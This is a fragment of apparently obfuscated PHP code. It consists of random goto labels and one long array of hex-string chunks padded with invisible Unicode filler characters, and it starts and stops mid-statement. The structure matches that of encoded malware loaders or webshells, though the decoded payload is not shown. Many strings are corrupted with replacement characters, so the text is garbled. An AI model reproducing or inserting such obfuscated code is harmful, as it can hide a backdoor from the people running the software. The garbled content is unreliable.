} else {
goto IKOENjAA;
}
W2rHosHP:
$Xnc8F78U = ['6ᅠ͏c឴3163364','aᅠ624d7ᅟ͏3�','�78឵345឵a឴6឴','443ᅟ឴612f�','��563឵1͏346c','49745឵2͏4','7ᅠ7ᅟ76ᅟ26͏','47ᅠ1ᅟ4͏d6fᅟ6͏a�','��6឴឵a694ᅟe5','96b3͏05ᅠ06�','�c4͏a7ᅟ9545','6554f483�','�឵2ᅟ6e5឴36�','��465445a79�','��5534ᅠ5243','5a424͏3','6឵c͏347032�','�3053ᅠ46឴3','7឴7͏73957�','�6b6ᅟ឵14fᅠ72','423343ᅟ�','�5a4ᅟ8ᅠ477ᅟ5','឴4e4f4349','50446e66','71ᅟ6ᅟ47950','6e4c4d4�','��8ᅟᅟ54ᅟ4឵869','4͏dᅟᅟ7ᅟ6667�','�3ᅠ7ᅠ97ᅟ5ᅟ78�','��7ᅟ478឴6959ᅟ�','�3074឴7឵467','70ᅠ574f͏6�','�2ᅟ74឴70ᅠ54�','��4ᅟ឵f͏ᅠ615͏ᅠ3�','�7឵07a6ᅠ8឵7','14bᅟ68឵3឴8឵5�','��aᅟ4c឴3751','5aᅠ7ᅟ឵57឵1឴68឴�','�͏44537឵56�','�9715874','7867575','64ᅠf឴͏4c664b','317649ᅠ4�','��3឵5ᅟ849796','ᅟ2ᅠ7841697','a5͏341឴͏7឴឴9ᅠ4','ᅟdᅠ527aᅠ5͏9','ᅟ6c឴឵6f឴615�','�84͏435͏5a�','�394ᅟb7឵07�','�13265577ᅠ9�','��5ᅟ3706ᅠ73','87371឴ᅟ7','6឵4976687�','�12b឵63ᅟ͏4឴8�','��6឵c42304','dᅠ70574�','�56឵9͏2b6͏3�','��456b323឵7�','��6឴a56ᅟ7a4','546឵4f឴6dᅟ5�','��56ᅟ7333174�','��2f614ᅠe38�','��32͏31឵577͏�','�0͏4f឴554','97aᅟ4͏163�','�42឵7768឵͏7឴3�','��56͏515ᅠ56a','4c554a5�','��15844឴70͏�','��6d54704','f5a4឴a795�','��3͏336ᅟa68','366b6឴aᅟ6�','�37ᅟ67ᅟ14឵b�','��78616f47�','��436ᅟᅠa615឵9','6ᅟc3ᅟ77឴069','6ᅠᅟdᅠ឴61ᅠ795�','�3឵47឵7឵4឴ᅠ6ᅟ8','644឵36d6ᅠ47','4316͏7425�','�06d74͏͏5ᅠ037','5ᅟ03256','4dᅠ6ᅟ17ᅠᅟ86c','ᅠ4349឴6͏d71឴�','�655856឵2f�','�39͏30525�','�8727ᅠ35឵7�','��3͏76ᅠ1767','17឴17͏6463͏','8484឴93ᅟ24','868឵627឴9�','�38឵឵435076͏','34͏67឴6cᅠ4','a឴485ᅠ874�','�6b2b4a6c5�','�2឵764865�','��5឴0ᅟ30653�','�9ᅠ឴7឵a឵6ᅟe4e6�','��83ᅟ7784͏e7�','�258ᅠᅟ5឵353�','��4͏9឵6ᅠc48ᅟ6�','��570͏6e7ᅟ8�','��2ᅟf2b5͏25�','��548឵7ᅟ឴8ᅠ72ᅠ�','�35553071឵�','�3055឴឴ᅟ5ᅠa7','2឵4370ᅟ6ᅟ2�','��2bᅟ574͏565�','��4឵ᅠ27576឴37','4឵37͏266','឵375͏97ᅠ឵247�','��7឵55឵1឵7671','4ᅠᅠ5͏68឴57ᅠ52ᅟ�','�64឴534448','51឴6e឵677ᅠ','07ᅟ9͏6ᅠ6545�','��͏4587158឴ᅟ5','឵64c6ᅟ15͏24឵�','��a឴4d7254�','�5឴឵a496a4','͏67឵14ᅠd53͏','38ᅠ38665�','�756͏4949឴឴6','d366f664�','��84e5ᅠ7͏7឴45�','�5͏7145ᅟ6c3឵�','�0឴6a4b឴51ᅟ','55ᅟ5ᅟ57369�','��4ᅟa695677ᅠ឴7','5឴ᅠᅠ5ᅠ2͏឴ᅟ6d7឵͏84','3͏596d4឴ᅟe5ᅟ�','��឴83឴35446�','�4឵e5឴34d6','ᅠd63͏5436726�','�a3឵5437','96឴179537','06178឵73','5aᅠ6ᅠ͏eᅠ717឴4�','�2឵឵b6឴c616','f͏5144ᅠ6឵e឴52�','�336឴2356','e6឵7564឵35�','��842ᅟ͏58ᅟ63͏6','24b536','1457឴8ᅠ32឵ᅠ3','0ᅠ785ᅠ6515','976ᅟ4435','594a6឴e72�','�6ᅠ3͏឵3឵04f44','486ᅠc317឴0','515ᅠ44ᅟ76ᅟ�','��542554឵d5�','��4឴706឴55͏a�','��4ᅟ132493�','��361706d4','͏6687͏865�','��3͏3͏7ᅠ឴4឵5឴ᅟ9','឵7឵0ᅠ7155឵70','឴3឵5͏743ᅠ558�','��4឴e6b705','ᅟ96឴6͏6f4','77឵9ᅟ49឴4͏9','553͏27឴86f�','�5ᅟ273567ᅠ�','��0626156','70឴317aᅟ5','឴2305735','443ᅟ1͏34឴5ᅟᅠ9឴�','�឴45566b55','឴416d5ᅠᅟ06�','�93ᅟ6ᅟ43឵32ᅠ','4ᅠ4឴6឵b7655','45឵42576឵3�','�4f32͏55ᅟ6ᅟ�','��1ᅠ774b45͏4b�','�61឴354145�','�47473឵3឴5','86f52͏39','34ᅟ427468�','�71឴6e713','94d឴ᅟ4e49�','��4ᅟf637537ᅟ7','36e52឴31឵឵6�','��឵f4bᅠ5aᅠ6឴͏d឵4','539ᅠ5͏a56�','�41឵65337�','��6឴55឵4ᅠ94ᅠ4�','�឵4464333�','�5426b6d5�','�2797a6c','4឴c53ᅠ͏2bᅟ7�','��5596853','74͏4ᅟf6ᅟ14ᅠ66�','��a5͏͏2316b឴4�','��74឵2ᅠᅠ6f487','4ᅟ5឵8͏4ᅠ26឵154','͏4f68626ᅟ឴4�','��56386͏͏a4e឴','4c឴3឴0663͏0�','��4͏34b7158឵͏7�','�aᅟ395241','឵38564e3ᅠ26','86ᅠ7ᅟᅟ4b6�','�d͏5ᅟ6426឵e͏4�','��6ᅠ5a44឵4f3�','�665ᅠ4឵b7ᅠ6ᅠ7','a7471ᅟ4c�','��556឵530឴72�','��756551͏6f','ᅟ39͏4ᅟd6͏1�','��3979͏75ᅟᅠ6͏6','686a͏556c�','��592f6b3','97ᅠ66឴d7ᅠ8ᅟ͏6�','��57឵76឴4433�','�8឵5ᅟ5317឴͏a�','��6ᅟe714cᅠ�','�56554d4឵7឵6�','�cᅠ554a3឵ᅠ1�','��69ᅟ6឵6ᅟ3936�','�726឴d71�','�7646463ᅟ2','304f3឴537�','��5͏059឵3឴4ᅟ឴7','36ᅟf឵586a឴4','27656586f','7឵5ᅠ6ᅟ8឵឴75឴4�','��͏74a឴56឴3ᅠ឵3�','��3064442','f឵58464឵឵352�','�3055504ᅟ�','�56a72឵5͏46','a55឵3ᅠ9឴6e�','�556e6b76�','�56͏឵4͏d឴2f55឴7','443644�','�c677͏2឵574','7697077','͏496353͏4c7','75ᅠ75745�','��5a62366�','�b6c32͏70�','�542f឴6a4e','7449705�','�3឵឴͏7050365឴','16d39343ᅟ�','�឴36឴2674�','��b͏64ᅠ34367�','��06឵538͏4','2͏4e6eᅟ3ᅟ36�','��762͏6ᅠ76ᅟ3឵','6c2ᅠf6e335','4឵5ᅠaᅟ504͏63ᅟ�','�឴643ᅠ52ᅟ75','3ᅠ34͏឵9302͏f','52484fᅠ48�','�4d4a6867','4f5ᅠ1឵5931�','�5632377឴7','65ᅠ355឴8ᅟ5�','�566ᅠ5878','752ᅠf72ᅠ͏3�','�26242ᅟ426�','�e356c587','82fᅠ445͏0�','�34324e឵4͏','ᅠa3͏3ᅠ66ᅠ4e6�','��ᅠ24f4ᅠ1577�','�674ᅟ45745�','�a755឵5304','2ᅠ឵4ᅟd4͏76e','53557឴5͏4','8឴59554831�','�4b73667឴9�','��37឵4ᅠ3646�','��12f34774�','�a46ᅟ3059឵7�','�0427269','7aᅠ4e37឵47�','�78ᅟ4ᅟc52͏6឴c','ᅟ36ᅠ545a','574឴3ᅠ3955','7឵673឴39឴7�','�14឵f឵705a3�','��1325ᅟ3�','�5ᅟa474a7','36b38ᅟᅠ727឵','14ᅟ1ᅟ524឵�','�26c4឵b4឴ᅟd6�','�f686͏e6c3ᅠ7','7ᅟ3឵686ᅟ76�','��d឵7074឵6a឵4','2ᅠ឵6b46524','832ᅟ52͏47͏6','2឵6646͏39','32឴33767�','��87568͏705','5ᅠ50564eᅟ�','�5a5឵8317�','��55឴͏1͏6ᅠ3ᅠ5ᅟ1','3͏24͏c6a5743�','��373332ᅠᅠ','5961͏622ᅟbᅟ឴6','f464ᅠ4ᅟ37�','�50ᅠ74឴ᅠ683�','�2742ᅠf66','51584ᅠa6a7�','��9ᅟ6c5͏8304','7឵487ᅠ4͏4឵4�','��47553ᅠ538�','�4f5a឴឴685�','��14͏56឴53឵5ᅠ͏6�','��d3឴͏2ᅟ3឵9ᅠ48','6͏9676a69�','�3឴772឵3ᅟ43�','�1696aᅟ31','6ᅟa49ᅟ64','395͏74a6឴','4឴61͏535aᅟ','336ᅠ6526�','��b឴53ᅟ4឴e645�','��67ᅠa55433�','�3653ᅟᅠ279','6aᅠ766376�','��38627឵14','364ᅠ397឵ᅟa','634f6ᅠbᅠ7�','��148ᅟᅠ3235͏5','ᅠa54533឵055','͏6ᅠ2ᅟ576157','3743឴2b7','5596a឵6ᅟa7�','��37឴14f486�','��362ᅟ2b4','c696b឴783','1͏4446577�','�24276533','͏ᅟ13763឴2b','2bᅟ4឵ᅟ8565�','�8឴4c4឵ᅟ471','30414ᅟ3ᅟ6�','��2627឵350�','��776a5͏6឴6','b6a727ᅟ83�','��9ᅟ774d72�','��5aᅠ6ᅟ7឵79ᅠ','4b7a7ᅟ73͏96�','�5឴7͏2583ᅟ6�','��79឵7233745','឵8585858឵�','��4e឵355a71�','�5឵26638͏6ᅟ�','��83឵86឴159�','�65596dᅠ4ᅟ�','��73858ᅠᅟ5a឴�','�឴4឵2͏686ᅟe6','44d6141�','��6b7a6ᅟb឵ᅠ56�','�554f4674�','�4ᅠ73741684�','��1ᅟ4d4ᅟb68','4567឴5439','5឵86e3ᅠ3ᅠ3','0͏7777675�','��5706͏d774c�','�4ᅟ12ᅠf5256�','�6឵7឵7a574','a53ᅟ5079͏4�','�a52឵314឵962�','��4e4dᅠ6c6f','364530664�','�e4ᅠe឵4f͏68឵','784e553�','��74ᅟ16c឴5','76a4d584','͏62f6឵឴4឵6ᅟ͏b','6d36636ᅠaᅟ5�','�͏a50ᅟ6972឵6�','��76f5768ᅟ7�','��06f75឵4b','2b587͏ᅠ56e�','��឴6d3ᅟ8483','67͏7352឴f�','��4ᅟ9ᅠ454͏c4͏8','ᅠ3ᅠ7505958�','�͏377076','4647ᅟ2f឵65','6ᅠ8ᅠ3ᅠ37͏4','356b647ᅠ឵2�','��6835឴឵707ᅟ�','�77͏87a឴5ᅟᅟ96','74͏34e឴30�','�3ᅠ26͏឴a62ᅠ2�','��ᅠf឵4d឴឵4ᅟa43឴5͏�','�66͏eᅟ4936�','��4d434e4឴1឵�','��7ᅠ454឴4ᅟc6�','��168ᅟ7531','6឴971724឴6�','�546͏561឴4f6�','�f38ᅟ704b�','��឵6c͏414f3�','�3572f឵3','03ᅠ77឵05ᅟ263�','�7869594�','��b3឵450͏2឴f','2b534឴24�','��27ᅠ56932�','��725឴73062�','�337឵5635�','��64c6͏8឵574�','�7឵4͏឴5឵636឴b','59703ᅠ3�','��3ᅠ156496f�','�6a62឵ᅟ6e4','f3573ᅟ͏5ᅠ6','77552b឴4�','��5ᅠ55593ᅟ82','͏b3343឵4ᅟ7','766e6f6͏a͏7឵7','឵4aᅠ4b͏4b឵','30឵7070͏3឵0�','��71឵4451ᅟ5ᅠ�','��a5ᅠ15឵6456�','�c5឵0឴68543','667386c4�','�b3឴9772b឵','6d54ᅟ546ᅠ�','�d7537឵68�','��7052͏4e59','7͏6឵2b5឴757�','�6a38឵6឴ᅟa77�','�45ᅠ6b3041','͏635249�','�68ᅟ6aᅠ735','1565ᅠ0ᅟ឴2f6','16឵b7͏063','2឵f͏7ᅠ450ᅟ3�','�85ᅠ64d4͏6ᅟ7�','��8394឵឵c6d5�','�64950354�','�e5235ᅟ58�','��6472឵4cᅠ4b4�','��757615a7�','�3ᅠ5157឴឵54','486d797�','��5឴636a65�','�4c48ᅟ឴476','42b37565','368឵6ᅠc55�','��4b6ᅟdᅠ78឵4','f6dᅠ4dᅠ3឵8�','��58454f46�','��5ᅟ047឴356','e676ᅟf4c�','�492b͏4͏d឴3ᅟ6�','��7646ᅠ7a3','6឵4f7a495','9͏5឵442394�','��d387͏15឴17�','�ᅠ34ᅟ9͏773ᅠ2͏͏឴2�','�fᅟ5͏04ᅟ8឵7a�','��31ᅟ6cᅟ632f͏7','65641͏4឴b3�','��឴2឴364ᅠc͏74','577a7663','30͏32ᅟ56ᅟ7a�','��776ᅠ36e5�','�42f7ᅟ17ᅟ5','6ᅠ75ᅠa636͏d឵4�','��c6឴឴74ᅠb6ᅟ឵7͏5឴�','�76d30͏37ᅠ͏ᅠ','6a55឵6f7឵4ᅠ','4ᅟ4឴51ᅟ4a឴5','06d79496�','��ᅟ57176ᅟ32�','�͏77ᅟ55326�','�ᅟ24432͏4c5�','��឴35ᅠ96឴879','49537឵឵77�','�឵834឴534c�','��4666͏6b5','77͏4556͏a឵','4f6͏f5ᅠ8�','��79ᅠ឵͏6ᅠ឴32f͏7�','�6504dᅟ4ᅟ9ᅠ','64484763','6e6b444bᅠ�','��3឵77634457឴','ᅟ3ᅠ͏50ᅠ4d5�','��1͏6d744f�','��64336e34឵�','�614ᅠb7264឵�','�47͏2b61693','1ᅠ7ᅠ5667͏9','ᅟ724a79឵5�','��9ᅟ797ᅟ឴2឵775�','�5453736','4c66ᅠ7361�','��72635470','4឵bᅟ2b4d͏6ᅠa�','�ᅠ4d787឴36ᅟ�','��97ᅟ83឴637','784b3635�','��3471796�','�ᅟ7឴6឴ᅟfᅠ594f','6969733�','�23ᅟ1͏ᅟ384','f឵6bᅟ36឵69͏2f�','��4b6d6f4឵c5�','��a652b54�','��͏7ᅠ1667឴24�','��7354c46�','��4឴3឴7a឴឴687','2឵2f476ᅟfᅠ7','06͏3឴464឴9','5឵936545�','�47142346͏2�','�50ᅠ4͏6533�','�8឵4e426c37','46͏637662�','�6d6឵a435','឴26f͏7͏73ᅟ94','2឵4a3ᅟ15឴�','�5ᅟᅠ35ᅠ365253','7឵75758ᅠ6�','�ᅠ939315a6�','��f6a514b3�','��44ᅠb46626�','��aᅟ6a6c6ᅟcᅠ7�','�248724ᅟ4�','��50͏465a7�','��03឴56e72','743ᅟᅠᅟ65832�','�35឵3ᅟ0ᅟ5ᅠ7឵6','f͏ᅟ747឴63឵2͏7','1ᅠ឴4ᅠ7͏54឴4ᅠ7�','�70777឴75','96e52545','16b4឵15឴9�','�4឵844ᅟ385�','��95឵371឵4ᅟ͏47�','��0772b31ᅟ7�','��6឵͏5឵079͏4ᅠ6�','��49ᅠ4឴a47ᅠ6','c4d46ᅟ64','475឴4ᅠ6b7ᅠ3','6c឴75574e','772͏ᅠᅠb5឴77a','6a344឵b5','94570654�','�8736ᅟ172�','�75឴76754','7឵4ᅠe5឵14ᅟcᅟ�','�2͏b6f64͏ᅟ5�','��04ᅠaᅠ4ᅟ͏96a','6ᅠᅠ169͏59឵5឵93','7͏73឴4752�','��336e឵436�','��87373ᅟ7ᅠ56�','�bᅟ2b6f366͏�','�36͏c674឴c4ᅠ�','�ᅟ5͏6b7aᅠ597','͏56f39726�','�cᅟ634឵9ᅟ͏3឵1�','��ᅟ776͏85a49','78695͏370�','�445឴076឵6','5឵74722f','͏395ᅟ85ᅠ96d�','��635ᅠ050ᅟ6','14cᅠ3឵8795','43͏0͏2឵b745','ᅠ17ᅠ236ᅠ38�','��7͏3ᅟ6b6b឵4͏9�','��឴73឴5042ᅠ55�','��͏69306b͏3͏','263426͏f឵43','ᅠ694឵14឴ᅟb឴ᅟ','497065឴3','9616ᅟc6b7','ᅠ771឵឵334','a6͏370឵63','឵7͏឵6785a�','�5a5962឵433�','��3384d7','2503ᅠ755�','�74326ᅟ37ᅠ1','77337឵468�','��51͏5435ᅠ6','឴d7͏a6ᅟfᅠ5�','��a44ᅠ796ᅠ2�','�5឴27a477឵�','�25471556឵','fᅟ3930744�','��d឵425a464a�','�7075͏ᅠ4952','4឴948702�','�fᅟ឵3឵6ᅠ6644ᅟ6�','�឵7335឴561ᅟ','6c5751឴4d�','��3144764�','�឵ᅟ465឴5aᅠ316','f70ᅠ4d4឴26a�','�69556167','43឴7឵5584','c͏676឴97឴8�','�765a7a4','9឵4eᅠ75ᅠ3͏66�','��ᅟf305឵a7ᅠ0�','�͏6d713051','3឴7436឵f�','�454͏6464឵9ᅠ�','��6ᅟᅠ͏57឵1674ᅠ','34͏94768឵5឴�','��04544374','6ᅟᅟ676a6f�','�6b593឵54e�','�2ᅠf734f͏466','74ᅟᅟf39374','a឵4d545ᅠ67�','��174឴50ᅟ765�','��឵476͏6250�','��͏76706͏f','7឴96c3261�','��326a7឴44឵�','�9ᅠ4឵aᅟ777ᅠ4͏69ᅟ','75335͏0͏78�','�48367253�','�4d73឴45឴6�','�64b2឵b74͏ᅠ6','1឴ᅠ52ᅠ61556','f឴522f55','7ᅟ2឵2b឴544ᅠᅠ','943504165឵','70ᅠ7឴1ᅠ746�','�f3ᅟ748͏6d6឵ᅠ','b឴6ᅠ͏a686឴1ᅟᅟ7�','��44472឴4','͏ᅠa366឴c527','44͏឴35឴36','e645឴26c','឴6឴53ᅠ1413ᅠ1','6d5឴66ᅠ7ᅠ4ᅟ2','឵6d឴6͏឵647','30឴4឵9516�','��85949346','f5឵47ᅠ7757','7឴4d50឵675','ᅟ7឵3឵2544a�','�3ᅠ0឴2b7឴348�','�7155345','76d3947�','�2b74͏364͏�','�55063឴505','833ᅠ4឴9514b�','��612b6ᅠ76','9ᅠ48492f','733ᅠ6645�','�9͏56឴6឵7឵5a','332ᅠfᅠ453�','��ᅠ9625934','឴6e6឵a7ᅠ47�','�a6឴8632͏b឵','35553឵2឴4�','�435ᅟ7឵96ᅠ͏7͏','754f43ᅟ57','឴76឵723ᅠ93ᅠ�','��4534754឴5�','�5ᅠ5឵96d7a6�','�87͏851715�','��7456b554�','��b334b50͏͏3͏�','�67឵ᅟ445឵6b4�','�16឵25646ᅟ','4ᅟ឴ᅟc5឵04឴឵2឴5ᅟ','0466bᅠ74�','��3឴឵96ᅠ1774c�','��6e6ᅟ4឴47឵38','62͏58482�','��b77536c4឵1�','��឵͏6a4136ᅠ6','4736d4d͏ᅟ4ᅟ','6ᅠ464142͏3�','��84͏ᅠf2f355','4឵686a7ᅠa�','�69316a6ᅠd','឴7ᅟ6426e�','�53726឴a796�','�ᅠb5ᅠ឵7502�','��b឵6ᅠᅠ1឵2឵f36឵5�','�឵26឵c387�','��94឵4ᅠ34385�','�឴ᅟ64a͏ᅟ434d�','��466឵352឵4�','�a឴54឴3ᅟ0546e�','��ᅠ46឵59ᅟ6833͏ᅠ','704d69឵5ᅠ','8585849឴6','b6fᅠ585ᅟ16','f6឴24឵d7�','�9644a4f�','�695077434�','�87ᅟ654392�','�b឵434f31�','��4c឴64684','26͏f5376�','�68ᅠ5឴ᅠ16f4͏f','74͏79឴4឴f3�','�145417͏34�','��4616649͏6c�','��ᅟ6a67523','24b4c͏឴656�','�f឵2b6e឴6ᅟd6','e43677','23334477឵','67a5164͏3','0឵67ᅟ67឵឴625�','��3542fᅠ2b�','�30705឵5឵7͏6','͏5ᅠ05ᅠ46a5ᅠ3឵','7255឴54឴3ᅟᅠ7�','��3͏0473941','4឴a͏6778឴57ᅠ�','��6឴b4ᅟf4c4�','�6ᅠ48ᅠ4͏3͏6f�','�7឴35͏76f5a','5ᅟ86ᅠc507͏9�','��͏7ᅠa7ᅟ45049�','�5឴͏6͏4a307឴ᅠ2�','��7឴឴0794͏4�','�78͏687253','4f653ᅟ5͏឵4͏d','ᅠ7844ᅠ706�','��5ᅟ6឵8396឴c3�','�6͏584675�','��7឵ᅟ9ᅟ6a3871�','��796a឴3͏9476�','��឴2ᅠ77465a�','�4͏e឵6឴f2b2�','�឴f឴713឴37͏74','16dᅠ3841ᅟ6','b30753�','�73732឵665�','�56f49ᅠ6fᅠ3឴1�','��496e663឵2�','�736d4756','͏6a505a6e','6ᅠ34563឴7឴3','3544624�','��46e324឴9឵4�','��46c4ᅟ1͏65឴5឵�','�3͏6c6a4͏73͏�','�07061676͏�','�͏26b707ᅟ3�','�5឵86d4឵6325','9713ᅟ4឵5឴5�','��3͏5឵78564e6�','��឴139ᅟ4fᅠ59�','��6b឴53ᅟ73឴70�','�58឴2f5ᅠ឴4͏5�','�5526ᅠ87឴571ᅠ','͏79366f34឵�','�ᅟ55͏6ᅟ7ᅟ663͏�','��0355a6឴8͏','6឵d6឵cᅠ737ᅠ6�','��6͏d4b53ᅠ4឴5�','�45ᅟᅟ675͏4ᅟ4�','�b356឴d68','5឴44b73͏72','឴4឴83ᅟ2485�','��76954734','dᅟᅟ឵6379͏73','6឴63ᅠ86͏c4ᅠb�','�73឴ᅟ57ᅟ6d឵5','76ᅠ7឴6b597','1឵2f឵51͏61͏5�','�76឴17͏͏3743�','��26͏a5͏65឴94','឴24ᅠᅠ276឵664�','��͏9឴746fᅠ4឴8','͏6b317ᅟ឴53','឵06឵6឴6f64�','��6឴7឴5͏56d6឵83�','��845703͏7�','��5135336�','�fᅟ4d឴2f6឴35�','��76឴768414�','��f376d516�','��362764͏53ᅟ�','��864឴4឴65ᅟ064','ᅠ3឵6486e�','�57͏7ᅠ76d','4c63357឴74�','�8542f឴43','4d឵73696�','��34ᅟb឴4d3ᅟ3','4c63474឵�','�aᅟ6946514','74ᅟ16឵2឵6�','�f5឵3ᅠ4a3ᅠ឴2','30឵636159�','�3ᅟ44឴a6e4f�','�឴725ᅠ0587�','��ᅟ56b3548�','�65឴34665͏8ᅟ�','��5ᅠ9456c442�','��b53ᅟ6឵15ᅟ4�','�6a563ᅟ66bᅟ�','�353឴36឴33ᅟ�','��7឴6ᅠ36͏158ᅟ','764a឴7ᅠ9ᅠ36�','��5ᅟ74e76','432឵f793�','�5435឴76឵33','83765536','឴24f឵឴304d�','�4861឴5឴16ᅟ','7͏61756͏f5�','��24឴c6c30�','�57឵49ᅟ5ᅠ឵a3','឴3325674','͏4c5឵͏36f7�','�26579឴635�','�23͏23ᅟ83ᅟ75�','��054594b�','��584e7570','5឴ᅟa͏4឵55135�','�59឵7633474','94456ᅠ727�','��4366឵c5឵','37ᅠ56e5a6�','��848឵526͏឵b','ᅠ47ᅠ឴7ᅠ5344f�','��79឵787͏45�','��859឵2͏b7372�','��58ᅠ62ᅠ356','c឴6e2fᅟᅟ63�','�7͏83͏5674ᅟ6�','��4f55732�','�bᅟ6b឴47384','9឴6឴឴9͏6ᅟd57�','��59ᅠ3឴6547�','�3726f57ᅟ','303361ᅟ឴44','34ᅠ75515឴�','��34឵1͏3͏552�','�ᅟ49ᅟ6឵2327','355͏38ᅟ54�','�33឴឴585aᅟ�','�637͏1746឴7�','�4aᅠ47786','e5759឴7a7�','��2឵4d71717�','�a6756ᅟ6ᅟ139�','�͏6bᅠ675͏17ᅟ�','�22b7͏562�','��5a36͏4e5','06ᅟd3឵0឴ᅟ3឴2�','��6341ᅠ524','358472b','3͏14c4f4឴឴8�','�6f͏41474�','��5឵4c4dᅟ582�','�bᅟ715͏0507�','�653563273','76735឵4͏','43642b51','3ᅟ8686c30�','�75឵6d345឵7�','�6d47ᅠ653','7឵66304c�','�777ᅠ64឴d឴�','��5͏6516឴14ᅟ4','73឴4ᅠ87ᅠ2឴3�','�9͏684bᅠ307','2ᅟ76឵ᅟ͏5957ᅟ2�','�b6ᅠ1557a','5136឵6aᅠ49�','��7឴843ᅠ7a78','4឴2553ᅟ8�','�2bᅠ664឴2឴ᅠ6͏4�','��ᅟ6e͏4឵15a6','76឵e74឵57឴5ᅠ�','��249ᅠᅠ594ᅟ2͏3�','�3͏70឵7឵36͏f�','��447឵a឵5͏872','7ᅠ637ᅠ7͏36�','�24155឵6f6�','�94឵ᅟ72f70�','��61឴5ᅠ6392b�','�46446c3឵͏�','��66ᅟ75͏4឴5ᅠ8ᅟ4','24͏c50ᅠ6឵5ᅟ3�','�17657366�','�775឴4dᅟ744','f5឵254396d�','��5278ᅠ3ᅟ74f�','��4͏឴75050឴5ᅠ8�','�ᅟ6c឵5770឴3','075ᅠ6f឴͏58','2b45͏686','f312឴b64','45ᅠ͏7͏8឵786','74cᅟ3ᅟ5327�','��4ᅟ633878឵4�','�឵឵f3ᅟ277ᅟ7͏ᅟ25','36cᅠ766d�','�͏3឴6796c឴6�','��e5a6a4�','��f6d឵6͏13ᅟ6�','�483ᅠ2734c�','�50702b32�','�7a346឴859�','�4f឴4263ᅟ2b�','��឵303ᅠ642�','��͏72344c47�','��6f͏4ᅟb5737�','�4ᅟd5឵0឵5ᅟ04�','��7435ᅟ0͏͏͏356�','��74឵1឴73466�','��f3563឵5�','�9354͏9͏535�','�͏8ᅟ66឴46឴43឵�','��4e4ᅠ឴c2b឵7','639឵656e6�','�b6e362b6','ᅟ9413͏56឴d7�','�24͏a6d73�','��396257͏44','52឴5ᅟ14e65�','��476͏6͏377�','��a41302͏b3','476ᅟ79ᅟ5ᅠ឴a4ᅠ','43ᅠ85367឴626�','�c4͏4឵2f6f4','952756͏a51','726151឵ᅟ2�','��f6653356�','��f64776a឴','794b͏322឴','f6ᅠeᅠ6͏2ᅟ633�','�1ᅟ37314fᅟ5�','�14឵b឵6឵a53឵4�','��ᅠ84d7270឵�','�305ᅠ86឴c707�','�56͏1ᅠ2b͏2f7','͏2឵឵3870ᅟ7�','��04e4f793�','�6585a6d','6866437�','�1឵4dᅟ686�','�f឵374ᅠ33�','��3ᅟ31357a4e�','�6឴e67594�','��33847͏727','8ᅠᅠ4168ᅠ45�','��475836឴64','36ᅟ3͏56឵436�','�͏2b6b឴7͏0','ᅟ5a565ᅟa70','367឵4឵4ᅠc','4c6͏94ᅠ964�','�45͏556឴f͏4�','�c33឴314឴876�','��͏35឵ᅟ73ᅟ444','e35ᅟᅟ2b6a6�','�3឵͏6852355�','��4ᅟ3឵1565឵�','��944726f5�','��a3ᅟ8͏7឴57͏7�','��6ᅠ͏7433឵168','53336ᅠe5឴�','�a3឵46ᅟe435឵','a6͏12b716�','��dᅟᅠ7឵72឴ᅟb͏61�','��51383͏64a','784539724','c7ᅠ965ᅠ67�','�6͏25ᅠ9ᅠ55឴5','15a឴4឴ᅠ34c�','�4͏ᅠ573656�','��e37឴455a6�','��ᅟ239356�','�b587a឵57','344645͏31�','��627370͏43�','��6͏5546d5�','��44b6e4','44ᅠb឴2឵f͏6a','7ᅠ071឴4c43','3ᅟ43ᅟ35ᅠ734','627឵6646͏8�','��794a6f6�','�44឴84aᅟ526͏','9586឵ᅠ62឴f឵5�','��6ᅟ7138͏5aᅠ','37឴4a4433͏�','��54͏5͏06ᅠ164','3឵ᅠ034͏586�','�b4b4871�','�6d78503�','��86670͏2឴fᅠ','64឵5ᅟ4឴7ᅟ85�','�a36឵2fᅠ7឴ᅠa','55឴465969�','�6c4͏92f5ᅠ�','�1ᅠ6឵8ᅟ695258�','�4f5055឴5�','��85a4d656�','�35330ᅠ777឴0�','��6឵4342b4f�','�5556ᅠ364','͏f7432឴63ᅟ','4឴36473឵4ᅟ�','�឴f5ᅠ54ᅟ439឵7͏','83͏96͏b63឴3','95឵76f315','86͏b31឵55','4a4ᅟ853ᅠ͏7','ᅟ0436554ᅠ3','646696a�','��346169឵62�','�456250724�','�ᅟ9឵឵56͏353឴46�','��2឵ᅟ7឴ᅠa637�','��5717឵850�','�584͏3឴3265','52͏425043','ᅠ6឵93836͏7�','�23139឵4b�','�5ᅟ0ᅟ41឴697a឴','6c566឵d6','͏឴f3ᅟ26ᅠa឴74ᅠ4�','��b឴473឴04͏�','��648596ᅠd','6឵34a304�','��16d44ᅠ44�','��68412f6','337ᅟ54597','44e឴745�','��644725͏34�','�76឵a44ᅠ78឴','឴447a495឴34','73ᅟ឴44឵b͏3�','��឵6337644�','�6556757឴a�','�383ᅟ5307�','��9឵59͏3͏749឵7ᅟ','22឵b7឵146�','�6឴3឵317a឴6d�','��7឵͏0ᅠ7234឴5','8͏5឴632ᅠ4b�','�7731឵36឵2','ᅟb63͏6឴75͏63�','�77឵94aᅟ713឴�','�44឴3ᅟ6឴7714�','�8542f793','537777ᅠ0ᅠ7','឴3485឴570�','�ᅠ4d឴637164','4773឴366឵9','69ᅟ4͏8796','6ᅠ52436a3͏�','�1឵364ᅠ12b�','��6a឴792b7a�','��5036373�','�567឴7឴542','6b46535�','�62ᅠf͏ᅟᅟ6e65�','��735͏371707�','��ᅟ82f4a32឴ᅠ4�','�ᅟ9͏73឴38ᅟᅠ37�','�44͏4ᅟ95឴32�','�b7ᅟ8឵356�','��634ᅠᅟ5a͏5឵5ᅟ4឴9�','��48឴4b734�','�35630637�','�135666d7aᅠ','6a឵3឵56f562�','�b547឵54�','��9ᅠ͏6aᅠ43317឴','26͏eᅠ50ᅠ566�','��d597259�','��ᅠ566឵e7136͏','6f5ᅠ64b4�','�8͏឴7137͏ᅟ53','47396a7឴8�','�6͏874347ᅟ05','554ᅠ624឵1�','��304b6c6឴','e6឴b͏726248','6ᅟa6b឵754ᅠb�','�ᅟ7឵8͏59឴67឴4�','��d3230͏6933�','��6ᅟd73ᅟ4f6c�','��644a62឵4�','��឴469ᅟ6͏6ᅠ3637�','��6឴62f6d49�','��5050ᅠ677�','��1457aᅠ697�','��1឴774e75�','��5឴67឴឴3឴616�','�b͏͏឵5ᅟ1឵38717�','�6ᅟᅟ505឴0497�','�2496f4឵3͏�','��4451714឴�','�ᅠb742f68','ᅠ496eᅟ͏70�','��70617឴1ᅠ7